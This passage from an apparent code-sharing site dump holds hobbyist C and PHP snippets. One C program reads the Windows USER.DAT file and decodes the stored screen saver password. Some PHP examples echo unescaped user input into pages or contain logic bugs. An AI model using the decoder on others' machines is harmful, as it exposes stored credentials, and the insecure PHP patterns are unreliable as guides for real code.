\n\n</BODY>\n</HTML>\n"},{"WorldId":3,"id":5314,"LineNumber":1,"line":"Upload"},{"WorldId":3,"id":5336,"LineNumber":1,"line":"Upload"},{"WorldId":3,"id":8177,"LineNumber":1,"line":"Upload"},{"WorldId":3,"id":6125,"LineNumber":1,"line":"Upload"},{"WorldId":3,"id":5389,"LineNumber":1,"line":"'File Hider' is a program that lets you 'Hide' 1 or more files behind a Main File,\nwith the capacity to Compress and Crypt hidden elements,\nso if anybody that double clicks Main File, will see only what we did'nt want\nto hide, or, according to the Main File type, all\n'withouth meaning' - characters.\nE.G., if Main File is a Bitmap, only that bmp would be seen,\nif is a .txt file, you will be able to read first file and also\nall the other files-data, and if also other files are text ones,\nyou will need to compress or crypt them to make them no-readable.\nThis way, it is almost impossible for others to know that there are\nother files behind the visible one (the only thing that can make them\nthink there is something strange could be, for example, that a 10x10\nBtimap has a size of 2 MB :) ),\nIt's also impossible to retrieve the password, 'cause it is not\nwritten neither in the file nor in any other part,\nso, withouth it, it could be possible to open the files behind Main,\nbut both names and datas will be all wrong.\nHelp for this program can be found here:\n(i tried and tried, but i couldn't upload my prg, so you can find it in the same page of help)\nhttp://utenti.lycos.it/visualmax/CppFileHider.htm\nInside there is zlib.dll, read MyREADME.txt.\nInside you will find a very simple class to manage ListViews and ImageLists...examples of file Drag & Drop...and many other things"},{"WorldId":3,"id":5368,"LineNumber":1,"line":"Upload"},{"WorldId":3,"id":5320,"LineNumber":1,"line":"Upload"},{"WorldId":3,"id":5451,"LineNumber":1,"line":"Upload"},{"WorldId":3,"id":5456,"LineNumber":1,"line":"#include<stdio.h>\n#include<conio.h>\n#include<string.h>\n#include<ctype.h>\n#include<process.h>\nvoid main()\n{\n FILE *stream;\n char string[] = \"creenSave_Data\";\n char msg[16],ch,pass[27];\n int i=1,found=1,j,dec[]={4,8,14,14,7,6,1,13,6,7,6,9,10,1,1,11,7,10,8,12,4,7,15,8,5,4,9,5};\n int pass1[27];\n clrscr();\n printf(\"--------This program is developed by VINOD SENTHIL.T -------------\\n\\n\\n\\n\");\n printf(\"\\n\\n Contact ---------> vinod_chan_t@yahoo.com <-----------\\n\\n\\n\\n\");\n stream = fopen(\"C:\\\\WINDOWS\\\\USER.DAT\", \"rb\");\n if (stream==NULL)\n {\n printf(\"Cannot open the file\");\n getch();\n exit(1);\n }\n\twhile(found)\n\t{\n\t while ((getc(stream))!='S')\n\t {};\n\t fgets(msg, strlen(string)+1, stream);\n\t i=strcmp(string,msg);\n\t if (i==0) found=0;\n\t }\n while(!found)\n {\n ch=getc(stream);\n if (!(isalpha(ch) || isdigit(ch)))\n\t found=1;\n else\n\t {\n\t pass[i]=ch;\n\t i++;\n\t }\n }\n for(j=0;j<i;j++)\n {\n if (isalpha(pass[j]))\n\t pass1[j]=pass[j]-55;\n else\n\t pass1[j]=pass[j]-48;\n pass1[j]=pass1[j]^dec[j];\n }\n printf(\" Your Screen Saver Password is : \");\n for (j=0;j<i;j+=2)\n\tprintf(\"%c\",toascii(16*pass1[j]+pass1[j+1]));\n fclose(stream);\n getch();\n}\n//Please Vote for my Program :-)\n"},{"WorldId":3,"id":5459,"LineNumber":1,"line":"Upload"},{"WorldId":3,"id":5791,"LineNumber":1,"line":"Upload"},{"WorldId":3,"id":5536,"LineNumber":1,"line":"<HTML>\n<BODY>\n\n<IMG SRC=\"HTTP://www.lostsidedead-software.com/cool_logo.jpg\"> \nMaster's TicTacToe Master's tictactoe is a 2D tictactoe video game written in \nDirectX. its written utilizing MasterX SDK. Its meant for 2 players. \nDownload\n<a href=\"http://www.lostsidedead-software.com/tictactoe.zip\"> Download Master's \nTicTacToe </a> <img \nsrc=\"http://www.lostsidedead-software.com/tictactoe.jpg\"> \n\n</BODY>\n</HTML>"},{"WorldId":3,"id":5483,"LineNumber":1,"line":"Upload"},{"WorldId":3,"id":5559,"LineNumber":1,"line":"#include <iostream.h>\n#include <stdlib.h>\n#include <lvp\\conio.h>\n#include <lvp\\string.h>\n/* Call File - Functions Library\n int FindLow(int Hi,int Lo)\n char Upcase(char ch)\n void FindLoHi(int &High,int &Low)\n void FindLoHi(double &High,double &Low)\n void DrawBar(int Area, char Symbol)\n void Input(int Row, char Symbol)\n double PowerOf(double Base,int Power)\n void FrenchNum(int Num)\n void DrawBox(int Area, char Symbol)\n void Switch(int &x, int &y)\n void TimeBreak(int TSec, int &Hr, int &Min, int &Sec)\n int GetNumber(int Low, int High)\n int GetPerfectNumber(int Low, int High, String Str)\n void DrawLine(int Number)\n void Continue()\n bool PlayAgain(String Str)\n\n*/\n/* Function Specification\n If the function must return... Then...\na) No information use a void function\nb) One item of informaion use a return statement\nc) More than one item of information use reference parameters */\n\nint FindLow(int Hi,int Lo)\n{\n int Answer ;\n if (Hi > Lo)\n Answer =Lo;\n else\n Answer =Hi;\n return(Answer);\n}\nchar Upcase(char ch)\n{ char CChar;\n if (ch >='a'&&ch <='z')\n CChar = char(int(ch)-32);\n else\n CChar = ch;\n return(CChar);\n}\nvoid FindLoHi(int &High,int &Low)\n{ int Temp;\n if (Low > High)\n { Temp = Low;\n Low = High;\n High = Temp;\n }\n else;\n}\nvoid FindLoHi(double &High,double &Low)\n{ double Temp;\n if (Low > High)\n { Temp = Low;\n Low = High;\n High = Temp;\n }\n else;\n}\nvoid DrawBar(int Area, char Symbol)\n{\n for(int x=1; x<=Area; x++)\n cout<<Symbol;\n cout<<endl;\n}\nvoid Input(int Row, char Symbol)\n{\n cout<<'\\n';\n cout<< \"Enter number of rows: \";\n cin>>Row;\n cout<< \"Enter symbol to use: \";\n Symbol=getche();\n cout<<'\\n';\n clrscr();\n}\ndouble PowerOf(double Base,int Power)\n{\n double Value=1;\n for (int X=1; X<=Power; X++)\n Value*=Base;\n cout<<endl;\n return(Value);\n}\nvoid FrenchNum(int Num)\n{\n if (Num==1)\n cout<<\"1 Un\"<<endl;\n else if (Num==2)\n cout<<\"2 Deux\"<<endl;\n else if (Num==3)\n cout<<\"3 Trois\"<<endl;\n else if (Num==4)\n cout<<\"4 Quatre\"<<endl;\n else if (Num==5)\n cout<<\"5 Cinq\"<<endl;\n else;\n}\nvoid DrawBox(int Area, char Symbol)\n{\n int Num=1;\n while(Num<=Area)\n {\n for(int X=1; X<=Area; X++)\n cout<<Symbol;\n Num++;\n cout<<endl;\n }\n cout<<endl;\n}\nvoid Switch(int &x, int &y)\n{\n int Temp;\n Temp=x;\n x=y;\n y=Temp;\n}\nvoid TimeBreak(int TSec)\n{\n int Hr, Min, Sec;\n Hr=TSec/3600;\n int Left=TSec%3600;\n Min=Left/60;\n Sec=Left%60;\n}\nint GetNumber(int Low, int High)\n{\n int Number;\n while(Number<Low || Number>High)\n {\n cout<<\"Value must be between \"<<Low<<\" and \"<<High<<endl;\n cout<<\"Please re-enter: \";\n cin>>Number;\n }\n return(Number);\n}\nint GetPerfectNumber(int Low, int High, String Str)\n{\n int Number;\n cout<<Str<<Low<<\"-\"<<High<<\": \";\n cin>>Number;\n while(Number<Low || Number>High)\n {\n cout<<\"ERROR!! Enter number between \"<<Low<<\"-\"<<High<<\": \";\n cin>>Number;\n }\n return(Number);\n}\nvoid DrawLine(int Number)\n{\n int Counter=0;\n for(int x=1; x<=Number; x++)\n {cout<<\"@ \";\n Counter++;\n }\n cout<<\" = \"<<Counter<<endl<<endl;\n}\nvoid Continue()\n{\n cout<<\"Press 'B' to Begin \";\n getche();\n}\nbool PlayAgain(String Str)\n{\n bool Play=false;\n cout<<Str;\n char ch=getche();\n ch=Upcase(ch);\n if(ch=='Y')\n Play=true;\n return(Play);\n}"},{"WorldId":3,"id":6387,"LineNumber":1,"line":"Upload"},{"WorldId":3,"id":5592,"LineNumber":1,"line":"Upload"},{"WorldId":3,"id":5595,"LineNumber":1,"line":"Upload"},{"WorldId":3,"id":5604,"LineNumber":1,"line":"Upload"},{"WorldId":3,"id":5620,"LineNumber":1,"line":"Upload"},{"WorldId":3,"id":5619,"LineNumber":1,"line":"Upload"},{"WorldId":3,"id":5712,"LineNumber":1,"line":"Upload"},{"WorldId":3,"id":1751,"LineNumber":1,"line":"Upload"},{"WorldId":3,"id":1353,"LineNumber":1,"line":"Upload"},{"WorldId":3,"id":1257,"LineNumber":1,"line":"Upload"},{"WorldId":3,"id":1356,"LineNumber":1,"line":"Upload"},{"WorldId":3,"id":1359,"LineNumber":1,"line":"Upload"},{"WorldId":3,"id":1361,"LineNumber":1,"line":"Upload"},{"WorldId":8,"id":340,"LineNumber":1,"line":"Upload"},{"WorldId":8,"id":343,"LineNumber":1,"line":"Upload"},{"WorldId":8,"id":350,"LineNumber":1,"line":"Upload"},{"WorldId":8,"id":355,"LineNumber":1,"line":"<?php\n$connect = mysql_connect('localhost','username','password');\nmysql_query(\"CREATE TABLE table1 (id INT (5) not null , name VARCHAR (32) not null )\");\nmysql_query(\"DROP TABLE table1\");\nmysql_query(\"CREATE TABLE table1 (id INT (5) not null , name VARCHAR (32) not null )\") or die(mysql_error());\nmysql_query(\"INSERT INTO table1 (id, name) VALUES ('1', 'name1')\") or die(mysql_error());\nmysql_query(\"INSERT INTO table1 (id, name) VALUES ('2', 'name2')\") or die(mysql_error());\nmysql_query(\"INSERT INTO table1 (id, name) VALUES ('3', 'name3')\") or die(mysql_error());\nmysql_query(\"INSERT INTO table1 (id, name) VALUES ('4', 'name4')\") or die(mysql_error());\nmysql_query(\"INSERT INTO table1 (id, name) VALUES ('5', 'name5')\") or die(mysql_error());\n$query = mysql_query(\"SELECT * FROM table1\");\n$query = mysql_query(\"SELECT id, name FROM table1\");\nwhile($rst = mysql_fetch_array($query)){\n\tprint(\"$rst[id] $rst[name] \");\n}\n$rst = mysql_fetch_array($query);\nprint(\"$rst[id] $rst[name] \");\nmysql_query(\"UPDATE table1 SET name = 'new_name1' WHERE id = '1'\") or die(mysql_error());\nmysql_query(\"DELETE FROM table1 WHERE id = '1' AND name = 'name1'\") or die(mysql_error());\nmysql_query(\"DELETE FROM table1\") or die(mysql_error());\nmysql_close();\n?>"},{"WorldId":8,"id":356,"LineNumber":1,"line":"Upload"},{"WorldId":8,"id":357,"LineNumber":1,"line":"<?php \n \nsetcookie() is the main function that is used to work with cookiesin PHP \n \nparameters are as follows: \n \nsetcookie (string name , string value , int expire , string path , string domain \n, int secure) \n \n \nCookies are sent to the user's computer thru the header: in static files, because \nthis is the case you must set, expire your cookies before displaying anything \nthru your script.. before any echo() and/or print() functions. This is not a PHP \nsetback, it the way HTML works :o) Check out this simple function i have written. \n. . \nfunction cookie($function, $value) {\n if ($function == \"set\") { \n \n setcookie (\"CookieValue\", \"$value\", \n time() + 14400);// Cookie is Valid for 4 hours. 3 value \n in function is the time expiration in seconds. ... \n 3600 seconds = 1 hour \n \n return true;// cookie \n set, return true\n } else if ($function = \"logout\") {\n setcookie \n (\"CookieValue\", \"$value\", time() - 14400);// Cookie is now expired as we set the expiration value to 4 hours ago \n return true; // logout \n complete \n \n } else if ($function = \"check\") {\n if (isset($CookieValue)) \n { \n if ($CookieValue == $value) \n { \n print(\"ALL \n GOOD.. cookie verified\"); \n return \n true; \n } else { \n print(\"Value \n does not much cookie\"); \n return \n false; // Failed, so return false \n } \n }\n } else {\n return false;// Failed, since no operations match\n }\n}\n?>\n"},{"WorldId":8,"id":360,"LineNumber":1,"line":"<?php\nClass yahoo\n{\nfunction get_stock_quote($symbol)\n{\n$url = sprintf(\"http://finance.yahoo.com/d/quotes.csv?s=%s&f=sl1d1t1c1ohgv\" ,$symbol);\n$fp = fopen($url, \"r\");\nif(!fp)\n{\necho \"error : cannot recieve stock quote information\";\n}\nelse\n{\n$array = fgetcsv($fp , 4096 , ', ');\nfclose($fp);\n$this->symbol = $array[0];\n$this->last = $array[1];\n$this->date = $array[2];\n$this->time = $array[3];\n$this->change = $array[4];\n$this->open = $array[5];\n$this->high = $array[6];\n$this->low = $array[7];\n$this->volume = $array[8];\n}\n}\n}\n$quote = new yahoo;\n$quote->get_stock_quote(\"MSFT\");\necho (\"$quote->symbol \");\necho (\"$quote->time \");\necho (\"$quote->date \");\necho (\"$quote->last \");\necho (\"$quote->change \");\necho (\"$quote->high \");\necho (\"$quote->low \");\n?>\n"},{"WorldId":8,"id":374,"LineNumber":1,"line":"<?PHP\n// MAIN PART\n//\n// File: dataformat.inc\n// Author: Andrzej Manczyk\n// email: amanczyk@poczta.onet.pl\n// Project: Data format class\n// Version: 1.0.0\n// PHP: 4.04\n//\n// Methods list:\n// - CreateTable: creation HTML table\n// (you must first set options or use templates)\n// Templates list\n// - LightGreyTemplate\n// - DesertTemplate\n// Returns:\n// HTML table\n//\n// DataBases.inc - Easy database use class - it is my own class\n// you can find it among my other projects on this Web Site\nRequire \"Databases.inc\";\n//\nClass DataFormat\n{\n// -------------------------------------------------------------------\n// database variables: see \"Databases.inc\" class\n// databases type: mssql, mysql, pg\nvar $dbtype;\n// connection type: c - common connection, p - open persistent connection\nvar $connecttype;\n// - connect: for MS SQL Server - server name,\n// for MySQL - hostname [:port] [:/path/to/socket] ,\n// for PostgreSQL - host, port, tty, options,\n// dbname (without username and password)\nvar $connect;\nvar $username;\nvar $password;\n// database name\nvar $dbname;\n//SQL query statement\nvar $query;\n// -------------------------------------------------------------------\n// field type variables\n// auto aligns your data: texts to left, numbers to right\n// and date, datetime and bit data to center\nvar $withdatatypeformat; // True, False (default)\n// inside variable, not changeable\nvar $arrayfieldtype;\n// table variables\n// -------------------------------------------------------------------\n// table TAG\n// a summary of what type of data the table contains\nvar $summary;\n// specifies the position of the table with respect to the document\nvar $align; // left, right, center, \"\" (default)\n// specifies the desired width of the entire table and\n// is intended for visual user agents\nvar $width;\n// specifies the width (in pixels only) of the frame around a table\nvar $border;\n// affect a table's external frame and internal rulestable frame\nvar $frame; // void, above, below, hsides, lhs, rhs ,vsides, box, border\n// table\nvar $rules;\n// specifies how much space the user agent should leave between\n// the left side of the table and the left-hand side of the leftmost column,\n// the top of the table and the top side of the topmost row,\n// and so on for the right and bottom of the table\nvar $cellspacing;\n// specifies the amount of space between the border of the cell and its contents\nvar $cellpadding;\n// sets the background color\nvar $bgcolor;\n// sets the border color\nvar $bordercolor;\n// other table options, you can define more options inside Table tag\nvar $tableoption;\n// caption TAG\nvar $caption;\n// -------------------------------------------------------------------\n// head TAG\n// adds table head, rest head options work if you set $withhaed = True\nvar $withhaed; // True, False (default)\n// sets array with column titles (you must specified the same number\n// of elements as columns in your data) or if you sets $withrownumber = True,\n// one more else)\nvar $coltitle;\n// other head options, you can define more options for each head elements\n// (inside <TH>)\nvar $headoption;\n// other head options, you can define more options for each head elements\n// (outside <TH>)\nvar $headoptionmore;\n// other head options, you can define more options as array for each head elements\nvar $arrayheadoption;\n// -------------------------------------------------------------------\n// row TAG;\n// options for each rows (inside <TD>)\nvar $rowoption;\n// options for each rows (outside <TD>)\nvar $rowoptionmore;\n// array options for each rows\nvar $arrayrowoption;\n// -------------------------------------------------------------------\n// special rows options for odd and even number of rows\nvar $oddrowoption;\nvar $evenrowoption;\n// -------------------------------------------------------------------\n// special columns options\nvar $arraycolumnoption;\n// -------------------------------------------------------------------\n// footer TAG\n// adds table footer, rest footer options work if you set $withfooter = True\nvar $withfooter; // True, False (default)\n// sets type of data in footer section (you must specified the same number\n// of elements as columns in your data)\nvar $arrayfootertype; // type: none, avg, sum, min, max, count, text\n// sets text in footer section (you must specified the same number\n// of elements as columns in your data)\nvar $arrayfootertext; // aditional text\n// other footer options, you can define more options for\n// each footer elements (inside (TD>)\nvar $footeroption;\n// other footer options, you can define more options for\n// each footer elements (outside (TD>)\nvar $footeroptionmore;\n// rest - inside variables, not changeable\nvar $arraysum;\nvar $arraycount;\nvar $arraymin;\nvar $arraymax;\n// -------------------------------------------------------------------\n// additional column with row number\n// auto makes column with current rows (records) number,\n// rest options work if you set $withfooter = True\nvar $withrownumber; // True (default), False\n// other column number options\nvar $rownumberoption;\n// sets text in footer section\nvar $rownumberfootertext;\nvar $rownumberfootersum;\nFunction DataFormat()\n{\n // database variables\n $this->dbtype = \"pg\";\n $this->connecttype = \"c\";\n $this->connect = \"\";\n $this->username = \"\";\n $this->password = \"\";\n $this->dbname = \"\";\n $this->query = \"\";\n // field type\n $this->withdatatypeformat = True;\n $this->arrayfieldtype = \"\";\n // table variables\n $this->summary = \"\";\n $this->align = \"\"; //left, center, right\n $this->width = \"\";\n $this->border = \"\";\n $this->frame = \"\"; //void, above, below, hsides ,vsides, lhs ,rhs ,box, border\n $this->rules = \"\"; //none, groups, rows, cols, all\n $this->bgcolor = \"\";\n $this->bordercolor = \"\";\n $this->cellspacing = \"\";\n $this->cellpadding = \"\";\n $this->tableoption = \"\";\n $this->caption = \"\";\n $this->withhead = False;\n $this->headoption = \"\";\n $this->headoptionmore = \"\";\n $this->rowoption = \"\";\n $this->rowoptionmore = \"\";\n $this->oddrowoption = \"\";\n $this->evenrowoption = \"\";\n $this->arraycolumnoption = \"\";\n $this->withfooter = False;\n $this->arrayfootertype = \"\";\n $this->arrayfootertext = \"\";\n $this->footeroption = \"\";\n $this->footeroptionmore = \"\";\n $this->arraysum = \"\";\n $this->arraycount = \"\";\n $this->arraymin = \"\";\n $this->arraymax = \"\";\n $this->withrownumber = True;\n $this->rownumberoption = \"\";\n $this->rownumberfootertext = \"\";\n $this->rownumberfootercount = False;\n}\nFunction CreateTable()\n{\n // this part use another class: see \"DataBases.inc\"\n $dbObj = New mDatabase;\n $c = $dbObj->Open($this->dbtype, $this->connecttype, $this->connect,\n $this->username, $this->password);\n If ($this->dbtype != \"pg\") $dbObj->SelectDB($this->dbname);\n $r = $dbObj->Query($this->query);\n $FieldsNumber = $dbObj->FieldsNumber($r);\n // table section\n $t = \"<TABLE\";\n If ($this->summary != \"\" ) $t = \"$t SUMMARY=\\\"$this->summary\\\"\";\n If ($this->align != \"\" ) $t = \"$t ALIGN=\\\"$this->align\\\"\";\n If ($this->width) $t = \"$t WIDTH=\\\"$this->width\\\"\";\n If ($this->border != \"\" ) $t = \"$t BORDER=\\\"$this->border\\\"\";\n If ($this->frame != \"\" ) $t = \"$t FRAME=\\\"$this->frame\\\"\";\n If ($this->rules != \"\" ) $t = \"$t RULES=\\\"$this->rules\\\"\";\n If ($this->bgcolor != \"\" ) $t = \"$t BGCOLOR=\\\"$this->bgcolor\\\"\";\n If ($this->bordercolor) $t = \"$t BORDERCOLOR=\\\"$this->bordercolor\\\"\";\n If ($this->cellspacing != \"\" ) $t = \"$t CELLSPACING=\\\"$this->cellspacing\\\"\";\n If ($this->cellpadding != \"\" ) $t = \"$t CELLPADDING=\\\"$this->cellpadding\\\"\";\n If ($this->tableoption != \"\" ) $t = \"$t $this->tableoption\";\n $t = \"$t>\\n\";\n // caption section\n If ($this->caption != \"\") $t = \"$t <CAPTION>$this->caption</CAPTION>\\n\";\n // head section\n If ($this->withhead) {\n $t = \"$t <HEAD>\\n\";\n $t = \"$t <TR>\\n\";\n If (Is_Array($this->coltitle)) {\n $ae = Count($this->coltitle);\n For ($col = 0; $col < $ae; $col++) {\n $t = \"$t <TH\";\n If ($this->headoption != \"\" ) $t = \"$t $this->headoption\";\n If (Is_Array($this->arrayheadoption) And Count($this->arrayheadoption) > $col) {\n $t = $t . \" \" . $this->arrayheadoption[$col];\n }\n $t = $t . \">\";\n If ($this->headoptionmore != \"\" ) $t = $t . $this->headoptionmore;\n $t = $t . $this->coltitle[$col] . \"</TH>\\n\";\n }\n }\n $t = \"$t </TR>\\n\";\n $t = \"$t </HEAD>\\n\";\n }\n // rows section\n $d = $dbObj->MoveFirstRec($r);\n $recNumber = 1;\n While ($d) {\n // check if row has even or odd row\n If ($recNumber % 2) {\n $evenrow = False;\n } Else {\n $evenrow = True;\n }\n // additional column for rows number\n $t = \"$t <TR>\\n\";\n If ($this->withrownumber) {\n $t = \"$t <TD\";\n // row number option\n If ($this->rownumberoption != \"\" ) $t = \"$t $this->rownumberoption\";\n // even and odd row opion\n If ($evenrow And $this->evenrowoption != \"\") $t = \"$t $this->evenrowoption\";\n If (!$evenrow And $this->oddrowoption != \"\") $t = \"$t $this->oddrowoption\";\n // row number\n $t = \"$t>\";\n If ($this->rowoptionmore != \"\" ) $t = $t . $this->rowoptionmore;\n $t = $t . \"$recNumber</TD>\\n\";\n }\n // columns\n For ($col = 0; $col < $FieldsNumber; $col++) {\n $t = \"$t <TD\";\n // row option\n If ($this->rowoption != \"\" ) $t = \"$t $this->rowoption\";\n // even and odd row opion\n If ($evenrow And $this->evenrowoption != \"\") $t = \"$t $this->evenrowoption\";\n If (!$evenrow And $this->oddrowoption != \"\") $t = \"$t $this->oddrowoption\";\n // column option\n If (Is_Array($this->arraycolumnoption) And Count($this->arraycolumnoption[$col])) {\n $t = $t . \" \" . $this->arraycolumnoption[$col];\n }\n // data\n // get field type\n If ($this->withdatatypeformat) {\n If ($recNumber == 1) {\n $fieldtype = $dbObj->FieldType($r, $col);\n $this->arrayfieldtype[$col] = $this->MakeDateTypeFormat($fieldtype);\n }\n $t = $t . \" \" . $this->arrayfieldtype[$col];\n }\n // if field is empty put space\n If (is_null($d[$col]) Or ($d[$col] == \"\")) $d[$col] = \"┬á\";\n If ($this->withfooter) {\n $this->arraycount[$col]++;\n If ($recNumber == 1) {\n $this->arraysum[$col] = 0;\n $this->arraymin[$col] = $d[$col];\n $this->arraymax[$col] = $d[$col];\n }\n $this->arraysum[$col] = $this->arraysum[$col] + $d[$col];\n If ($d[$col] < $this->arraymin[$col]) $this->arraymin[$col] = $d[$col];\n If ($d[$col] > $this->arraymax[$col]) $this->arraymax[$col] = $d[$col];\n }\n $t = \"$t>\";\n If ($this->rowoptionmore != \"\" ) $t = $t . $this->rowoptionmore;\n $t = $t . \"$d[$col]</TD>\\n\";\n }\n $d = $dbObj->MoveNextRec($r);\n $t = \"$t </TR>\\n\";\n $recNumber++;\n }\n // footer section\n If ($this->withfooter) {\n $t = \"$t </FOOT>\\n\";\n $t = \"$t <TR>\\n\";\n // with rows number section\n If ($this->withrownumber) {\n $t = \"$t <TD\";\n If ($this->rownumberfooteroption != \"\") $t = \"$t $this->rownumberfooteroption\";\n If ($this->footeroption != \"\") $t = \"$t $this->footeroption\";\n $t = \"$t>\";\n If ($this->footeroptionmore != \"\" ) $t = $t . $this->footeroptionmore;\n If ($this->rownumberfootertext == \"\" And !$this->rownumberfootercount) {\n $t = \"$t┬á\";\n } Else {\n $t = $t . $this->rownumberfootertext;\n If ($this->rownumberfootercount) $t = $t . \" \" .$this->arraycount[0];\n }\n $t = \"$t </TD>\\n\";\n }\n If (Is_Array($this->arrayfootertype)) {\n $fc = Count($this->arrayfootertype);\n If ($FieldsNumber != $fc) {\n Echo \"Incorect footer arguments number. You need $FieldsNumber arg.\";\n } Else {\n For ($col = 0; $col < $fc; $col++) {\n // additional footer text\n If (Is_Array($this->arrayfootertext)) {\n $ftc = Count($this->arrayfootertext);\n If ($col > $ftc) {\n $ftxt = \"\";\n } Else {\n $ftxt = $this->arrayfootertext[$col];\n }\n }\n $t = \"$t <TD\";\n If ($this->footeroption != \"\") $t = \"$t $this->footeroption\";\n $t = \"$t>\";\n If ($this->footeroptionmore != \"\" ) $t = $t . $this->footeroptionmore;\n Switch ($this->arrayfootertype[$col]) {\n Case \"avg\":\n $t = $t . $ftxt . $this->arraysum[$col] / $this->arraycount[$col] . \"</TD>\\n\";\n Break;\n Case \"sum\":\n $t = $t . $ftxt . $this->arraysum[$col] . \"</TD>\\n\";\n Break;\n Case \"count\":\n $t = $t . $ftxt . $this->arraycount[$col] . \"</TD>\\n\";\n Break;\n Case \"min\":\n $t = $t . $ftxt . $this->arraymin[$col] . \"</TD>\\n\";\n Break;\n Case \"max\":\n $t = $t . $ftxt . $this->arraymax[$col] . \"</TD>\\n\";\n Break;\n Case \"text\":\n If ($ftxt == \"\") $ftxt = \"┬á\";\n $t = $t . $ftxt . \"</TD>\\n\";\n Break;\n Default:\n $t = $t . \"┬á</TD>\\n\";\n Break;\n }\n }\n }\n }\n $t = \"$t </TR>\\n\";\n $t = \"$t </FOOT>\\n\";\n }\n // end table\n $t = \"$t</TABLE>\";\n Return $t;\n}\nFunction MakeDateTypeFormat($type)\n{\n If ($type == \"double\" Or $type == \"integer\" Or $type == \"int\" Or $type == \"long\"\n Or $type == \"numeric\" Or $type == \"float\" Or $type == \"real\" Or $type == \"money\") {\n $format = \"ALIGN=\\\"right\\\"\";\n } Else {\n If ($type == \"bool\" Or $type == \"bit\" Or $type == \"datetime\" Or $type == \"date\") {\n $format = \"ALIGN=\\\"center\\\"\";\n } Else {\n $format = \"ALIGN=\\\"left\\\"\";\n }\n }\n Return $format;\n}\n// -------------------------------------------------------------------\n// TEMPLATE PART\n// NOTICE: If you make interesting template and you are willing\n// shares it, send me and I add it to my class.\n// -------------------------------------------------------------------\nFunction LightGreyTemplate()\n{\n // format data with special way\n $this->withdatatypeformat = True;\n // show table head\n $this->withhead = True;\n // sets \"Gainsboro\" color for head background\n $this->headoption = \"BGCOLOR=\\\"#DCDCDC\\\"\";\n // sets \"Whitesmoke\" color for odd rows background\n $this->oddrowoption = \"BGCOLOR=\\\"#F5F5F5\\\"\";\n // show table footer\n $this->withfooter = True;\n // sets \"Lightgrey\" color for footer background and join all footer cells\n $this->footeroption = \"BGCOLOR=\\\"#D3D3D3\\\" COLSPAN=\\\"10\\\"\";\n // make number of records in the footer\n $this->rownumberfootercount = True;\n $this->rownumberfootertext = \"Records:\";\n}\nFunction DesertTemplate()\n{\n // row number column format\n $this->withrownumber = True;\n $this->rownumberoption = \"ALIGN=\\\"right\\\"\";\n // format data with special way\n $this->withdatatypeformat = True;\n // sets \"Lightyellow\" color for border color\n $this->bordercolor = \"#FFFFE0\";\n // show table head\n $this->withhead = True;\n // sets \"Burlywood\" color for head background\n $this->headoption = \"BGCOLOR=\\\"#DEB887\\\"\";\n // sets \"Maroon\" color for head fonts\n $this->headoptionmore = \"\";\n // sets \"Maroon\" color for row fonts\n $this->rowoptionmore=\"\";\n // sets \"Lemonchiffon\" color for odd rows background\n $this->oddrowoption = \"BGCOLOR=\\\"#FFEACD\\\"\";\n // sets \"Lightgoldenrodyellow\" color for even rows background\n $this->evenrowoption = \"BGCOLOR=\\\"#FAFAD2\\\"\";\n // show table footer\n $this->withfooter = True;\n // sets \"Burlywood\" color for footer background and join all footer cells\n $this->footeroption = \"BGCOLOR=\\\"#DEB887\\\" ALIGN=\\\"left\\\"\";\n $this->footeroptionmore = \"\";\n // make number of records in the footer\n $this->rownumberfooteroption = \"COLSPAN=\\\"10\\\"\";\n $this->rownumberfootercount = True;\n $this->rownumberfootertext = \"Records:\";\n}\n}\n?>\n//\n//\n//\n//\n//\n//\n//\n<?PHP\n // example how to use this class\n Require \"dataformat.inc\";\n $f = New DataFormat;\n $f->dbtype = \"pg\";\n $f->connect = \"host=127.1.1.0 port=5432 dbname=example\";\n $f->username = \"postgres\";\n $f->password = \"********\";\n $f->query = \"SELECT * FROM data1\";\n $f->arrayheadoption = Array(\"WIDTH=\\\"20\\\"\",\"WIDTH=\\\"100\\\"\",\"WIDTH=\\\"80\\\"\",\"WIDTH=\\\"80\\\"\");\n $f->coltitle = Array(\"Nr\", \"Date\", \"Name\", \"Value\");\n $f->arrayfootertype = Array(\"none\", \"none\", \"min\");\n $f->arrayfootertext = Array(\"\",\"\",\"Min: \");\n $f->DesertTemplate();\n $tbl = $f->CreateTable();\n echo $tbl;\n?>"},{"WorldId":8,"id":381,"LineNumber":1,"line":"Upload"},{"WorldId":8,"id":382,"LineNumber":1,"line":"Upload"},{"WorldId":8,"id":383,"LineNumber":1,"line":"<?\n// This Program was written by Digital -- digital@de-net.org\n// Any copying without my concent will get you killed by cuban snipers.\n// http://www.de-net.org\nif (!$Play)\n{\n?>\n<html>\n<head>\n<title>DE-Network Mp3 Streamer</title>\n<style TYPE=\"text/css\">\nA:link\n{\n COLOR: #00007D;\n TEXT-DECORATION: none\n}\nA:visited\n{\n TEXT-DECORATION: none\n}\nA:active\n{\n TEXT-DECORATION: none\n}\nA:hover\n{\n COLOR: #D90000\n}\n</style>\n</head>\n<body topmargin=\"0\" leftmargin=\"0\" bgcolor=\"#000000\" text=\"#FFFFFF\">\n<div align=\"left\">\n <table border=\"0\" width=\"100%\" height=\"100%\" cellspacing=\"0\" cellpadding=\"0\" bordercolor=\"#FFFFFF\" bgcolor=\"#000000\">\n <tr>\n <td width=\"100%\" height=\"50%\" valign=\"bottom\">\n <img border=\"0\" src=\"http://www.de-net.org/insomnia/images/de-network.gif\" width=\"589\" height=\"202\"></td>\n </tr>\n <tr>\n <td width=\"100%\" height=\"48%\" valign=\"top\">\n \n<form action=<? echo $PHP_SELF; ?> method=POST>\n\n\nEnter the URL of an mp3 file: <input type=\"text\" value=\"<? echo $loc; ?>\" name=\"loc\">\n<input type=\"submit\" value=\"Play\" name=\"Play\">\n \nTo use this script seemlessly in your website, pass variables to this script like this: \n<a href=\"http://www.de-net.org/audio/?loc=http://wherever.the/mp3/file.is&Play=yes\"> Click Here to listen to that one song!</a>\n\n</form>\n \n </td>\n </tr>\n <tr>\n <td width=\"100%\" height=\"2%\" valign=\"top\">\n Powered\n by <a href=\"http://www.de-net.org\"> The DE-Network</a> | Tool by <a href=\"http://www.de-net.org/bios?digital\"> Digital</a>\n \n </td>\n </tr>\n </table>\n</div>\n</body>\n</html>\n<?\n}\nelse\n{\nif (!$loc)\n{\n echo \"There's no audio file specified...\";\n die;\n}\n$loc = str_replace(\" \", \"%20\",$loc);\nHeader(\"Content-Type: audio/x-mpegurl\");\necho $loc . \"\\n\"; }\n?>"},{"WorldId":8,"id":384,"LineNumber":1,"line":"Upload"},{"WorldId":8,"id":387,"LineNumber":1,"line":"Using \n templates with PHP\n We will assume \n you are 